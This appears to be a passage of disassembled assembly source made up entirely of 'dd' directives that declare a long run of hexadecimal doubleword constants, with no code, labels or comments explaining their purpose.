		dd 1CBB0BEDh, 2C2042FCh, 6FBC8962h, 96003890h, 293D9F4Bh
		dd 0EBB8CEh, 35CF99EFh,	42697FE0h, 530798F4h, 58D46F77h
		dd 6029DB82h, 1845FD1Bh, 0A0A68DE5h, 3A00B923h,	152BB2D7h
		dd 0C9C929Bh, 0D171A061h, 9F00DE20h, 4B4511F9h,	30C057D7h
		dd 0C808BE0h, 0B20FB835h, 76F7E7Fh, 198046A4h, 0EFF8A8h
		dd 38AFBE82h, 0DF32AE7Dh, 0F5283900h, 83A0E8B5h, 0A5930E36h
		dd 0F060A63Ch, 95B39746h, 60C95300h, 0E62E288Bh, 4E51007Eh
		dd 9A4F7BABh, 0B6001243h, 45B0A43Ah, 7E501E2Bh,	56340016h
		dd 8952F470h, 9D02C90Fh, 33CA08CCh, 66E1F775h, 0DAF860EEh
		dd 36268F00h, 8E938DBFh, 6E75001Dh, 31841695h, 0F61CF18Ch
		dd 12C15EB8h, 8805A622h, 0D497E0h, 0BD24C9EAh, 4A0339EEh
		dd 0A1437500h, 68027A82h, 6EEF8h, 0ED16AD89h, 9BB63237h
		dd 0FDE0509h, 9E6A804Ah, 2B8AF4h, 3B185C9Ah, 69914E5Eh
		dd 48CB7800h, 5719C9A1h, 360F0072h, 3CFEFC21h, 6500224Eh
		dd 64CB67F7h, 51669Ch, 0E64B10E8h, 0E9B69FEFh, 74A94309h
		dd 9E91801Ah, 0F77681h,	3521A244h, 0AF0178A8h, 5CD4FA38h
		dd 5B007970h, 0E2ACF1F6h, 3E5D581h, 31C497E3h, 8A88E76Ah
		dd 4007B310h, 944159A4h, 0D818D6B3h, 542546h, 0A7BFDB2Eh
		dd 0A5F49E8h, 0AE5033E8h, 9A00B2C6h, 7B82CDA0h,	734F26Bh
		dd 781777B8h, 66C0EEC2h, 40F75975h, 3905A92Ch, 65379300h
		dd 0A6C99Fh, 0ABA2E773h, 0EAA84D2Dh, 71DD7700h,	22D64927h
		dd 6C0300B0h, 0D7E26419h, 0DF3C5963h, 9B5400C0h, 36FB9209h
		dd 0A7EE00D1h, 12B18BC6h, 30028793h, 0F3D5031Ch, 4B5F40D9h
		dd 4E560748h, 91E5624Fh, 0D40C5D9Ah, 64F8E1EEh,	8E99F73Ah
		dd 412DB6DDh, 0ACE8A6F9h, 39612CFCh, 0D4002E79h, 4495E0FAh
		dd 0DD003BC1h, 0B29AB9D7h, 387870h, 6A600173h, 6E199FCAh
		dd 5A9C9000h, 6910A6Dh,	87A70051h, 366474EDh, 13034B37h
		dd 63A61BD9h, 656B981Dh, 69FCFAh, 163C4C6Dh, 0EC5FF9FCh
		dd 20423Fh, 457B9DE8h, 3502857h, 0D9F7CB9Ch, 54F893D3h
		dd 520040ACh, 711F1C76h, 62EA51h, 0B370257Fh, 0B1BDA55h
		dd 0CD89801h, 99B48C4Ch, 0E9CF8h, 0BE112915h, 8EB8AE35h
		dd 9052F900h, 88E5CB60h, 25D400F4h, 0A5A499Dh, 33002271h
		dd 0D8066F6Dh, 3FCC9B4h, 0EF3BDD76h, 18073C5h, 2F98547Eh
		dd 413CFD00h, 5A2005F2h, 947BE5h, 0B93DDA22h, 937734A2h
		dd 839BC200h, 0E7683AD0h, 0D37BB6h, 0D68D7D03h,	1C56BB45h
		dd 79511200h, 0AC5718DBh, 269D003Bh, 0EE912DCBh, 0F3165049h
		dd 70988F4h, 0DB990089h, 0FA3C8726h, 175A008Fh,	64EA24F1h
		dd 0CC009206h, 0C8A74EBBh, 1931A8h, 72221574h, 0EFDE44E0h
		dd 3F841F00h, 0D8BFB17h, 3B63009Eh, 584A94ECh, 0EB7EA543h
		dd 8D539B00h, 0E174986Ah, 0D6FA1FF2h, 583540EFh, 46C85D72h
		dd 0B2F47700h, 0D56D82A9h, 0BD8B0079h, 20F1052Fh, 0B9580B44h
		dd 0C76A0094h, 2BC6B91h, 9CD50033h, 0A7195F46h,	0EC0D795h
		dd 2830B39Fh, 1E09004Eh, 9A2638E9h, 3C01AAFBh, 1FB5A936h
		dd 19C030EEh, 0F64A013Ah, 8C7F3280h, 0FFE1C470h, 0EFC0DA0Eh
		dd 520380E0h, 0B9AB3AEh
		dd 260FBB8h, 80F09000h,	3B079756h, 0EA22FD9Eh, 4C640150h
		dd 8D981Eh, 3EC2655Dh, 6935B468h, 24940F00h, 0BF0C6AE8h
		dd 0ECBE48A0h, 0F95D1800h, 7B1EB177h, 5A61392Ch, 8592F202h
		dd 0BA6DC0D9h, 1337BB5h, 0F9EDCBB9h, 0EC09034Ah, 0B107603Bh
		dd 0C0F8D2B6h, 77E5FB0h, 0D6FC0092h, 98218FE1h,	53001180h
		dd 4EDFA554h, 341C724h,	0C3EC7470h, 5CE01261h, 73005DD8h
		dd 0DCA8EA48h, 0E9609Ah, 9F53DF44h, 0F2C4202Ah,	61008B73h
		dd 3F1DB056h, 1980333h,	0C52BB96Dh, 0C4E4D745h,	0C600F683h
		dd 164D1331h, 7F6E6A4Eh, 0E510030h, 7448922Ah, 0CD00D2C8h
		dd 0B1B3ABC0h, 355F734h, 0B2CE3FC4h, 4900C54Fh,	0AD3D2B7Fh
		dd 1BF9EE3h, 0A86BF2A5h, 30313980h, 4700EEFFh, 14FEE623h
		dd 42D249h, 8D3079ACh, 4E6E948Ch, 7B0017ECh, 0F23647E5h
		dd 0E49096D2h, 0AE6600C9h, 5C45E86Bh, 0A0009867h, 0FB8A83DEh
		dd 7176F820h, 6A930006h, 5F5631B2h, 40042B3Ch, 41BA7A36h
		dd 0D0CE64C0h, 0B50F0ED8h, 1B20586Ah, 0AB138002h, 39763EEEh
		dd 25DCD700h, 4BE7D8DBh, 286A0AE4h, 3E9C177Ch, 0FFBC6F81h
		dd 70C27D08h, 0EE39FEF5h, 0B7FA802Bh, 14486426h, 0B4381FC5h
		dd 0B66404Bh, 0E5A5B2DCh, 9D91A800h, 0CE1C6EBh,	537C0331h
		dd 0E3AF405Ah, 0AD1CC0B5h, 0C000D899h, 0FD6B4F54h, 0E537BFh
		dd 62B2D333h, 0BCF5A469h, 0A5ABF0E7h, 5B3C6303h, 7ABA0512h
		dd 0EB0D0410h, 0BD7B78h, 59C81B5Ch, 5DBB0052h, 0E5B58009h
		dd 2D012B83h, 158C8539h, 3AF0F70Bh, 0DF901497h,	4600CB72h
		dd 0CBA41AA3h, 40745CCCh, 774EBA00h, 0E77966C7h, 0A12C006Dh
		dd 16A3C6AEh, 54008175h, 0DBEFD08Eh, 0BE9BB4h, 80FA3A37h
		dd 364241F8h, 0F5563C01h, 0CA94717Ah, 4898D470h, 1E1D1034h
		dd 3D542615h, 0D5B05C03h, 82A8A7DCh, 9D00802Ch,	0C249E291h
		dd 98EC7Bh, 0EA371ED4h,	0A93309D2h, 0AD6FD800h,	2A28B932h
		dd 12F7579h, 0F95E8D49h, 0FD815C17h, 1E1BCC10h,	64F0F400h
		dd 6D619295h, 67500068h, 2807ABD9h, 0AE003EB2h,	0CA0F3F5Bh
		dd 1DCB381h, 74C818FBh,	0E4502CD5h, 7600ED83h, 0C48CFE07h
		dd 7DD6B9h, 0BEEEB2B6h,	0B170BC9Ch, 8657AB00h, 7AE67CFDh
		dd 912E0319h, 3FFED02Ch, 0C71B5B88h, 6215D700h,	3A28F5A3h
		dd 0B5140005h, 0D041C94h, 0C800999Ch, 6CD2160Fh, 181992h
		dd 68A62D35h, 0AC8E8D4Ah, 0F62BC200h, 28ED133Ch, 4310049h
		dd 0A4A11279h, 9F00B4CEh, 0BEF3466Eh, 13362891h, 8B0AD8h
		dd 0DBD2AB16h, 20C03EC0h, 8899EB1Ah, 91970338h,	76E7B66Ah
		dd 0A7CDA09Ch, 0A4009998h, 61F11351h, 0B8651248h, 306D03DEh
		dd 3D2D0C43h, 0BCCA4800h, 9C1048D5h, 0BE030032h, 59CF67DBh
		dd 8E05A62Ah, 0E59B05C7h, 262B0480h, 71AF791Dh,	9E3C0069h
		dd 296A4FC4h, 0FE001B88h, 0A63603F4h, 763F344h,	4C8FC51Eh
		dd 3BE37096h, 24007B05h, 2FEC4A16h, 0B419F0h, 77C85BB5h
		dd 0BC3F72CAh, 0A5909854h, 8C61C003h, 0D1E72204h, 4CF03531h
		dd 0C6B80027h, 1F8D72D2h, 2319E678h, 2B10CBDCh,	3EA241F4h
		dd 0DA80D319h, 6DF345EBh, 52774C13h, 0E7ED40h, 0E5BA743Bh
		dd 99CA765Bh, 78ECB704h, 2C81FF35h, 64F0048Fh, 8C980088h
		dd 3F9513F3h, 0AA0075B3h, 63EAC550h, 1F226829h,	0C33A4C78h
		dd 0EFF180D6h, 40364680h, 211CDC90h, 0E040256Dh, 707F8427h
		dd 9BD8168Dh, 329600DBh, 5F7D4F4Ah, 42ED480Eh, 31BF00DEh
		dd 7823621h, 0D0AF976Ah, 0C12EF214h, 25AC17E0h,	76E6F30Eh
		dd 41D006Bh, 34F4CCAh, 83C64AB9h, 19F89782h, 7600D199h
		dd 0D38E3BFBh, 1E8C12h,	25D27369h, 0A442824Eh, 34710DFCh
		dd 0C4DF4802h, 0C07C3AAEh, 7FE0304h, 746B8FE4h,	0C2F3A3AAh
		dd 4C1E3CD8h, 6F0638h, 0ECF85360h, 65D08Bh, 67B078A6h
		dd 747DD561h, 8984A117h, 69A0A600h, 72383F7h, 0C413EACh
		dd 197B90B0h, 320044E4h, 0A47A1F9h, 0E12811Eh, 0BF6B745Fh
		dd 23E19320h, 1D00E8D2h, 0FA7930ABh, 0CF2462h, 8B600669h
		dd 0FB05532Bh, 30B2DE00h, 0BC99FCBBh, 3E2C0172h, 45F1478h
		dd 506FC8Bh, 0D2536200h, 5BB7EFF7h, 0B36D0E36h,	2B6046B5h
		dd 1F3E4534h, 0D7F8D400h, 0F9D5926Eh, 2978B6h, 0A670C3A2h
		dd 71F4BA69h, 1CC53600h, 0C6576BE2h, 0E12F0015h, 0F2FC90DBh
		dd 771E2787h, 0A706B9F7h, 2C8EEB8h, 8499CBB5h, 7771A30h
		dd 4E40B76Ah, 50CE74h, 51423BA3h, 82EE17E8h, 7A23553Bh
		dd 9AC2C800h, 8CB1CFF4h, 40D60026h, 76086B10h, 6200F696h
		dd 4CDF4B81h, 374807Bh,	0E89F9B60h, 0F3F8FB04h,	0C900DC62h
		dd 0BBB73CBAh, 0F7C068Ah, 5755439h, 992E9B20h, 0EEA09177h
		dd 0F60028EEh, 0E26B7E78h, 77B3F51Ah, 808B0144h, 0F0869004h
		dd 0F06AC1A7h, 0E263E93Ah, 0B882E441h, 1AE031Eh, 0EF83123Eh
		dd 0E4A17962h, 4075DF1h, 789848B6h, 88519D60h, 5E41007Dh
		dd 0A2FF6FD5h, 850562BCh, 6AF0509Fh, 0EE5991C0h, 451401A4h
		dd 489A7854h, 53FAE83Ch, 921DAC0Eh, 9F5600E0h, 9058C128h
		dd 7CC07570h, 0F5543BA0h, 351FDC07h, 10117736h,	3748CFDDh
		dd 6A237401h, 0B191B97Dh, 0FF65C8h, 0BDAD8BCEh,	0CBE017DBh
		dd 2EAEE700h, 5127F971h, 32C609AFh, 6E80BE34h, 93783815h
		dd 18E6DD00h, 0DAFB8424h, 38EE60ECh, 4BCF875Bh,	0C68E5300h
		dd 101F224Dh, 255607D1h, 0F1A7276Ah, 0E091BD7Ch, 0BE031D74h
		dd 0DA894060h, 0C039D8FEh, 6768056Bh, 40E66h, 5D07EAABh
		dd 807763Eh, 0B238F128h, 0BCE06631h, 4DE82DD5h,	1D7B20h
		dd 69883E01h, 567068Eh,	0FAE69600h, 2E7D3F82h, 567BB5h
		dd 0C558BBE7h, 4EABFED4h, 0D763B100h, 2386C6AAh, 0F6D57C7Ah
		dd 933C0044h, 6D8EB69Dh, 9A057CB1h, 0D9942FB5h,	18E4B480h
		dd 6F150046h, 97D8BD3Dh, 1000E912h, 48A69F75h, 4F6850h
		dd 0E3AE7ABFh, 1CF4CCE6h, 0A277D700h, 51A55E3Ah, 28DC005Ah
		dd 68EAB6A8h, 0FA79E83Bh, 1093EC00h, 0B97F9596h, 0A0FEFCh
		dd 0E346CE3h, 84AD542Dh, 0DD50BD0Fh, 19CB6041h,	8BD9A8h
		dd 1E484634h, 0F13FB3AAh, 70B8A10Eh, 11F327CDh,	0F0F79840h
		dd 7C380046h, 0FF940DF6h, 5AEA65BBh, 0BC6E4900h, 5E7F4577h
		dd 0A27C074Fh, 0D0D599D6h, 8844542Eh, 1924937Dh, 0CA8038B9h
		dd 6DD2B0C2h, 29E4A097h, 4F170103h, 0EA9DE4CFh,	0A5E03BF3h
		dd 200C0080h, 4CB6C5D0h, 52016974h, 594F1BF9h, 0F8D0C257h
		dd 6FE60006h, 5E91D2E3h, 6E06E7D3h, 7D0792Fh, 0BAA400B9h
		dd 0F64FD2DEh, 1B000E71h, 0FDA6C092h, 77FAAE7h,	0BD8AD4B8h
		dd 72F2C0C1h, 0B0C27052h, 5750FCh, 5F40C035h, 96601300h
		dd 0AF8CCF17h, 7D20097h, 3D9ADF73h, 0F400FCBEh,	0C86EBA78h
		dd 0ED822Ah, 5C35600Fh,	0E45FAE7h, 8900157Ch, 0A3B6C02h
		dd 68B06Fh, 0CE66FDA2h,	521F69FAh, 0C4F12300h, 0DFCA8B0Ch
		dd 26790073h, 0FA917EE5h, 431FA02Bh, 0C880E7CFh, 0CB9D58AAh
		dd 7F9B00C0h, 0E86D473h, 700F643h, 0CD4E2E33h, 3D084h
		dd 1D2888A2h, 0C2D97801h, 0A74AAE00h, 5611091Ah, 0E6CBF402h
		dd 5AF1092Fh, 0B8003F31h, 267439B5h, 257BC5FAh,	0ECE2C40Fh
		dd 1F9140FCh, 0C0BF59h,	0A884BEFDh, 0E643AC73h,	6B429907h
		dd 3C1085B6h, 234BAFFh,	8CEFB323h, 59C0B99Eh, 7500DAC0h
		dd 679D1C5Bh, 6F819Fh, 0DCED7271h, 0EB611DDBh, 0D5A7AE00h
		dd 0CD1F40E9h, 6E71AFh
		dd 2AF385C9h, 9D8F73DCh, 0F0EF5914h, 3A430096h,	87219EC0h
		dd 62B800A0h, 0FE22E2BBh, 0B10275DBh, 0A476D5D6h, 0E6B68391h
		dd 235FC02Eh, 0F0440172h, 0F367634Fh, 98BA30E0h, 69079909h
		dd 0F4E65889h, 2874C8h,	0CBA03E11h, 9D7AD282h, 64395000h
		dd 131F4CC5h, 0C9E200F7h, 0DF35C4F8h, 9E00AF43h, 18A5806Eh
		dd 9DCC7h, 1B24EDD0h, 0ECE7F2C2h, 67985E09h, 0A28020F8h
		dd 14D6282Bh, 0AC72B1A4h, 0E5DA4B0Fh, 87A81E60h, 6F00D985h
		dd 632FA65Ch, 23CE7Ah, 0FEDEAF08h, 7F513E75h, 1D48D00h
		dd 733CB7A3h, 3736F09Fh, 0E098101Bh, 0BE530721h, 9A81B100h
		dd 5FA90C51h, 0D48700AAh, 33E9F779h, 970020C7h,	0CE157E3Fh
		dd 785D07Dh, 9831431Fh,	0B4F9B0D9h, 35006C95h, 0FA8CFFF7h
		dd 27BB93h, 0DF20CF48h,	74653F33h, 0F4CD4524h, 0A03A408Fh
		dd 0D0513BC0h, 7CF400E5h, 62D12296h, 0A001DEAh,	0A6ECE402h
		dd 339242h, 0CDC3DEA3h,	13BBA890h, 63FF3E00h, 8DB1353Ch
		dd 0FB720032h, 0D4C0EAEBh, 0B00B8F4h, 0C76EEE4Fh, 21971h
		dd 0CA275E7Eh, 213C6B07h, 99FEB875h, 0D91F5700h, 0C9951362h
		dd 4B502438h, 0C0FE09D9h, 0AD584496h, 9D750027h, 0FC0111E1h
		dd 346B0024h, 0E4C5D1C2h, 0C0002DF5h, 1D27B26Ah, 79A27829h
		dd 4230079h, 0B1927254h, 7B00F5F2h, 0A6BE5FA3h,	0F1F4395h
		dd 0CDF7ECD7h, 0A048C747h, 0C990C8C6h, 0A962F000h, 19DC4426h
		dd 14B2AAh, 970A508Eh, 0BBEA5A42h, 1FDB8003h, 0D84E71BCh
		dd 7FBE168h, 0F1FDC37Bh, 0C467602Dh, 8700BAF5h,	9D5403E3h
		dd 24FCC8F9h, 0A1E26Fh,	3B04E4FBh, 2900BF1Eh, 5265867Ah
		dd 517213Fh, 1947310Bh,	0F3B20045h, 92DF1376h, 208D1200h
		dd 0C79457D1h, 52B70F0h, 1B961AF8h, 40AAC0D4h, 6E00CB11h
		dd 0E7DB428Dh, 7B18E8h,	0A9129678h, 6552C0FAh, 2FAB96C0h
		dd 3CE9ED07h, 4C83565Eh, 0B3F65479h, 8AA75BA8h,	331C3807h
		dd 67703CECh, 1626F076h, 327A95h, 41F4F3B9h, 0EA000159h
		dd 8CAE022Dh, 5161F2A7h, 6A20500Eh, 604F036Ch, 6842AE08h
		dd 6253C2A0h, 185520CCh, 3D640265h, 71F5489Dh, 299028C3h
		dd 0DE04611Eh, 0F25BF4E8h, 49598E80h, 0FE2B8B0h, 7412FB5Eh
		dd 79019AC3h, 903B2430h, 6062D213h, 0C1425953h,	0C71CA9DAh
		dd 3BC0952Bh, 6F46961h,	0E10109FAh, 0A283FFCEh,	6CB2A739h
		dd 571B7080h, 0F407EEE9h, 9BED1FC2h, 594B2120h,	0D54200A2h
		dd 87B28678h, 854C49E1h, 0BDB10090h, 95A3B6D3h,	445238A0h
		dd 588379BDh, 6FA815A5h, 0DB40DD80h, 3EF4E97Ch,	0F5223418h
		dd 57EC74h, 0FED08B95h,	1DBA2817h, 290BD1Dh, 36CFF240h
		dd 439F1Fh, 6EB4A2A7h, 0E787661Eh, 681B1C00h, 0CDD46153h
		dd 21331FDBh, 3F9380B3h, 0DC8F4A84h, 92852602h,	40FF0B87h
		dd 0E424152Dh, 0ABE2C9h, 0D0934D1Bh, 0BECB1463h, 87446D00h
		dd 2B1A067Ch, 3F710052h, 209C1C1Dh, 2C00BB5Fh, 3EECBD92h
		dd 0F6C0D6h, 4AC23202h,	1C62ABBCh, 31F0505Bh, 10DC00FEh
		dd 0AD59DD23h, 47008038h, 3150CFCh, 1491AECh, 30930B96h
		dd 0FCB572C4h, 6F1E2608h, 8ECAF0F9h, 4C8AC46Bh,	3280DCC0h
		dd 5D081753h, 83B004B5h, 80CF9892h, 0F12DA430h,	1E809E1Ch
		dd 239B3589h, 0B2903B3Ch, 42EBC04Fh, 8F49C0E7h,	0C5D34AE4h
		dd 15990C00h, 76BDB560h, 49C91F1Eh, 0AF788F11h,	90357FE3h
		dd 7ACE6FC8h, 0E87DF300h, 0DE72B8Ah, 78E0FD36h,	0F21B48FDh
		dd 9E05E06h, 0D244B0D8h, 90E100B3h, 0A0CF9439h,	130215F5h
		dd 47732C49h, 3D034112h, 7594A320h, 0C8EB30C2h,	0DAC5A039h
		dd 0B669A603h, 0F97E503Ah, 8840FA10h, 9020ECEEh, 0C3FB308Ch
		dd 1363B540h, 80A78B18h, 4876D4h, 0CE4C967Bh, 3092E490h
		dd 426E0100h, 0FFC54F47h, 0BEF075h, 2FAD3624h, 2E9943EBh
		dd 0CE486A00h, 0F1634D53h, 41A00039h, 0CD9D9E1Ch, 5D00017Dh
		dd 64C4CE3Eh, 26C8EAh, 6AF34AE7h, 443134DDh, 121495Ch
		dd 0ED636CB9h, 1FF7246Bh, 0C0D37630h, 815A371Dh, 231E5C27h
		dd 0DC435F89h, 98F52ED5h, 0EE5957C2h, 0F0E848BDh, 0AD3C3860h
		dd 0F8BF2670h, 680E00B4h, 82FE2AB1h, 1324300Ch,	0A500DC24h
		dd 0C9DDD591h, 436A00EAh, 9490B8C1h, 0D0C06863h, 374AA32Ah
		dd 0E37B004Eh, 0BE8F0214h, 5C00421Eh, 5F3B8119h, 9A09C4h
		dd 0D16D9452h, 66C6E0CEh, 0EA2F6E1Eh, 2450046Bh, 4820AF6Ah
		dd 2F07704h, 31B23E74h,	0ECDFAE00h, 0A485CDE7h,	2B215761h
		dd 318F1BDDh, 6B2CDF97h, 331F8218h, 600020D8h, 0F1C631C0h
		dd 6F1600DAh, 0CD94D68h, 0C560E23Fh, 0ABCD6148h, 0E6A40072h
		dd 0DCDA5C46h, 6679DB2Ch, 0BD056900h, 0A56DF10Eh, 0CD800A1h
		dd 55B1656Ch, 880033AEh, 450BD35Ch, 0C969B9h, 65613F9Ch
		dd 1218E1EAh, 2002F529h, 303587C2h, 743067E3h, 7164E8DFh
		dd 0D81900D1h, 575A2072h, 2F18DA5Fh, 8ED9A7A6h,	6D08C0D9h
		dd 0F935095Ch, 0BEBFC407h, 42C00864h, 70B704h, 0C7E39F4Ah
		dd 0DA6A1109h, 0C0A1ACA8h, 77CF3Ah, 66451081h, 2938114Ah
		dd 79C7E06h, 89F0DC88h,	0E7972B80h, 9000D5C6h, 0F1517810h
		dd 2AEAFCFEh, 0C45F13h,	0F5D20F77h, 4FEDAC74h, 360082B8h
		dd 6EFAF0EEh, 13C540h, 96F16059h, 20F98F6h, 57D74400h
		dd 727AECCFh, 6CC61404h, 8060C07Bh, 6045B287h, 0F1E02702h
		dd 81921302h, 22E88ED8h, 6BC9C880h, 86DEAD83h, 0C59DF00h
		dd 25DAD2B0h, 0C69FC50h, 34D9239Dh, 0E300CDD1h,	0C2DA9C3Bh
		dd 2A5C3F35h, 882831h, 0E0CC1988h, 4A50DEFAh, 0F4062D75h
		dd 0D2118BD6h, 0EAE9C0A9h, 3CA4AD3Eh, 650E8507h, 9B50C719h
		dd 31691DEFh, 2228F0F6h, 0C61840A7h, 0FB737ABCh, 0E818027Ch
		dd 0C19124CAh, 38081D03h, 0D307817Bh, 2057D62Ch, 55153370h
		dd 3F00915h, 8B65CBBCh,	5F20E7ABh, 897BC6h, 0A9CFEB84h
		dd 0E8565B0Fh, 7472DD00h, 0F1E15C3Dh, 0A70A06F7h, 906A29E6h
		dd 2F5D9512h, 232C1C44h, 21271E01h, 0ACC7D011h,	730148E4h
		dd 6252B1BCh, 0F041FD22h, 40006A35h, 97780739h,	89E00503h
		dd 0C8C2B66Fh, 0A0215B1h, 0A87C41E8h, 35E7608Ch, 0FD1E87B3h
		dd 0A3499A69h, 855C11E4h, 0E1FEBC50h, 0F507BFDh, 0DB72763Ah
		dd 27E7F620h, 0AC1429D5h, 0FD4651Dh, 803342E2h,	0BD2FB045h
		dd 30A01C1h, 60025163h,	0B3A8953Dh, 530600B8h, 0E80F7549h
		dd 0E130007Dh, 33B0A5D8h, 0AA0012E2h, 0B6FBE709h, 3C05D0Eh
		dd 896EA55h, 410360A2h,	0CA7B3E4Ah, 0AE1100B9h,	7629E8F2h
		dd 5401B1A1h, 0BF49311Ch, 6DFC9901h, 52AF0703h,	3EF9A7EAh
		dd 0B4AE1E1h, 0E2430ABh, 0A034ED2Ah, 0F7415700h, 0A7527908h
		dd 0C9E4D1h, 19CB1F6Dh,	0B542F903h, 1BAB300h, 0FD4F6ECCh
		dd 1907911h, 9BEAE82Ah,	223CC720h, 5BB00058h, 0B8E991EBh
		dd 0AF5100ECh, 0F2D1A01Eh, 0D500C7FCh, 6F5F798Dh, 0AA7E7565h
		dd 0E0D60EFCh, 0F434C850h, 92890F99h, 0E1278DC4h, 0BC385098h
		dd 2491E777h, 1F5A8386h, 54A14C1h, 6C53E490h, 0B4020849h
		dd 0F9B19652h, 7D406804h, 2ACB8782h, 0AB4BFA00h, 0F42BAE97h
		dd 5CC8019Ch, 6A25E53Dh, 4043336h, 0DB30B58Ah, 624A8880h
		dd 0E0FBF085h, 20DF264Bh, 44F244F0h, 0F6403575h, 65AAE09Ch
		dd 2F45A12h, 8F8EA421h,	0E9E69850h, 0E4F70078h,	0AE10206Fh
		dd 0B400B72Eh, 0CE18BFBCh, 0F8F10Ah, 44A16A91h,	0D2667AC9h
		dd 3084C70Ah, 0E6007895h
		dd 897041DDh, 0FA550C96h, 9099D2E7h, 1A460807h,	0E48F432Fh
		dd 0BC90A006h, 2ED93089h, 4DD95D7h, 8164CA75h, 70C7B4BAh
		dd 3C4A16EAh, 0A47CB0h,	57B9177Ah, 0F14BEE10h, 774F78C0h
		dd 2C63AF0Eh, 830CFBEh,	108E3024h, 681C0C52h, 22BE004Fh
		dd 5E03689Bh, 0C0E98647h, 554C9A51h, 0CD702D4h,	0E0DE690Fh
		dd 0A6F347FEh, 0E3E1494h, 2B097CB0h, 0B0A1EAB3h, 489C3D4Eh
		dd 390F0380h, 800D1701h, 5AC0F4CDh, 64B014A2h, 60099844h
		dd 90A57Fh, 0A428CAFEh,	0DD02C13Dh, 0CD1104C2h,	4F8CA1D1h
		dd 0E0503F7Ch, 0CE17D3h, 0D24C47ABh, 0C0ED6265h, 259B1907h
		dd 0C0FF230Bh, 3810E6D3h, 66063CF2h, 4C748B02h,	80AADF81h
		dd 331108h, 0F50E4229h,	4B0DB12h, 0E93860C3h, 0D068C71Ch
		dd 0F89BBFB6h, 4DB8789Fh, 4C9E9C55h, 9F15EEDh, 3281F300h
		dd 0A156E2B0h, 16B57DF5h, 21841C0Ch, 40308A4Ch,	0A7F3E2F8h
		dd 51E00252h, 0F7D4504Eh, 50BA1A81h, 811CC559h,	36521374h
		dd 0FC402987h, 30B6E7E3h, 158D2F5Bh, 4AF440F1h,	0BA01E4E7h
		dd 55446FAEh, 0E980377Ch, 0BEEF3368h, 0F7018963h, 0D9434C1Dh
		dd 8C33647Ch, 9729D607h, 229D657Bh, 5C448E90h, 5DB32400h
		dd 71B54D42h, 6E0E0579h, 3153C7E0h, 655975ECh, 54C3DCC8h
		dd 225D2D0Eh, 0E683A0D9h, 925FD80Eh, 0D4F8CA10h, 0EFEC8AF0h
		dd 9F7E80A4h, 33E1968Fh, 31F2D0Fh, 0BF7B80DCh, 996A3F32h
		dd 0E01B8700h, 51F4207Ah, 2000FD30h, 807B759Bh,	2E0340B8h
		dd 8800F7B7h, 55004741h, 98DE1585h, 0AC5E0ACBh,	0C1E8CABFh
		dd 0F10B31h, 0DB5527h, 98C9724h, 6BD7B0C4h, 2B16E407h
		dd 66267BFFh, 95B400B1h, 0ACA650F4h, 0C801967Ah, 0D4E7A57Dh
		dd 7C204C15h, 90F74990h, 80CBA61Dh, 33075212h, 2B1F59C2h
		dd 0A1050482h, 0A044623Ch, 8600241Ah, 73E83E9h,	0AE9D6800h
		dd 4D1E91E7h, 756D7BDEh, 1CB193h, 14FC5E10h, 59098DADh
		dd 24FE5A1Dh, 5088EC74h, 689300A1h, 7D8F3A85h, 0C100DC7Ah
		dd 4C134DB6h, 0B2A0BE1h, 22AD8AA7h, 0DF83A418h,	90E8264Ch
		dd 123D1DB0h, 2CFF4F4Ah, 0E34C8100h, 0E7F3B3h, 6150065Dh
		dd 0FD1E30F1h, 19361D02h, 0B89A8FB6h, 80EA5FB4h, 0D000A518h
		dd 2B72164h, 7B6BAB4Ah,	89F2C50h, 0EFF50268h, 0A0A0F4B5h
		dd 0C66BA248h, 0BC013890h, 5656C13h, 5C325249h,	20087906h
		dd 0AE0FE6ACh, 0A0F55411h, 14D63B8Bh, 4449C0BEh, 61843E4Dh
		dd 871EB939h, 0FF95FD38h, 0E59F21E2h, 80829C7Ch, 3949B6F6h
		dd 0AE178C26h, 28640BCAh, 0FCC1C2Dh, 0F44200FFh, 6759594h
		dd 14241155h, 5F8FA8DCh, 0AC4EA0CFh, 9CC16Fh, 4DF697B4h
		dd 0B73C5D70h, 20408C24h, 1D288008h, 6A9FC4B6h,	0DF359055h
		dd 3E004E73h, 0C9BD1063h, 669B85h, 9C404BDDh, 4797DEDAh
		dd 58B5E4A0h, 58D2D8A9h, 92E9C98h, 0A40B08Fh, 7C042484h
		dd 82140070h, 0B4022BAAh, 0A40B4321h, 41177Fh, 0F94A4D1Ah
		dd 0A22702F8h, 24CC1109h, 0A385E8A0h, 1E13C738h, 0A4616103h
		dd 0A1DEAFFAh, 6F8A3C0h, 1042A058h, 3BDA587Ch, 0C7840048h
		dd 358FB24Bh, 950998D4h, 0BC671480h, 3C60CD23h,	0D2CC1F71h
		dd 38A7BD9h, 0F65311C5h, 10B99570h, 1E343461h, 0EC47B48h
		dd 8FA4CE9Ch, 7461B73Ch, 7770E1C4h, 4691006Eh, 0B89803CDh
		dd 7A0717B4h, 2C01BB13h, 0D4CCCED5h, 0FB1000A4h, 0A5AE54FFh
		dd 8D09D832h, 74CA9B9h,	88E1E0h, 41397387h, 2600117Bh
		dd 477E3DFDh, 49C3083h,	2354B0B3h, 69F1C0C7h, 102555EEh
		dd 0ECC024AFh, 8128A4h,	0EE258B63h, 9A2E0BDFh, 457FDE98h
		dd 505BD900h, 239D6042h, 936C9E9Fh, 4050173Eh, 67C35424h
		dd 5E004F23h, 9441AF21h, 3D18D7Ah, 0AAC178E2h, 8F80EEBEh
		dd 0D5026438h, 0DE52AF04h, 21D0E185h, 51092C52h, 101380D8h
		dd 0E9B9DB86h, 17EDEE18h, 58F8CF71h, 690B7854h,	1C98F26Ch
		dd 228C015Ah, 9711E8AEh, 44A58A3h, 8C0548C4h, 1B3DA8D8h
		dd 2AAB889h, 5184C6DDh,	4105A75h, 25B29B28h, 60F5874Eh
		dd 379F60C6h, 1F1D93Eh,	30AE996Ah, 5AD09703h, 0D3BE02A4h
		dd 33CD57B3h, 4000BCE4h, 2E934773h, 0E76983h, 0A1D1CE65h
		dd 9525EE8Dh, 0DA346B07h, 0EB719660h, 0C036510Bh, 33522B00h
		dd 0C28454E7h, 60D55A01h, 0A20BAC82h, 1500B026h, 3454226Ch
		dd 0E179E861h, 0ECB9601h, 0EBEC1C02h, 48025C29h, 4D64E828h
		dd 1089F459h, 6E2CA101h, 0C39AB22h, 2934EC58h, 7AD10319h
		dd 0C5D704BBh, 1C2CC869h, 0E35C97E2h, 40A2383Ch, 0A4E70909h
		dd 0A48203C0h, 8CEA6052h, 5D0FA85Ah, 0A540DCF4h, 488CB8Ch
		dd 40EB4F2Bh, 0C4DF5B8h, 8C9E10EFh, 78A49705h, 0B12BCC43h
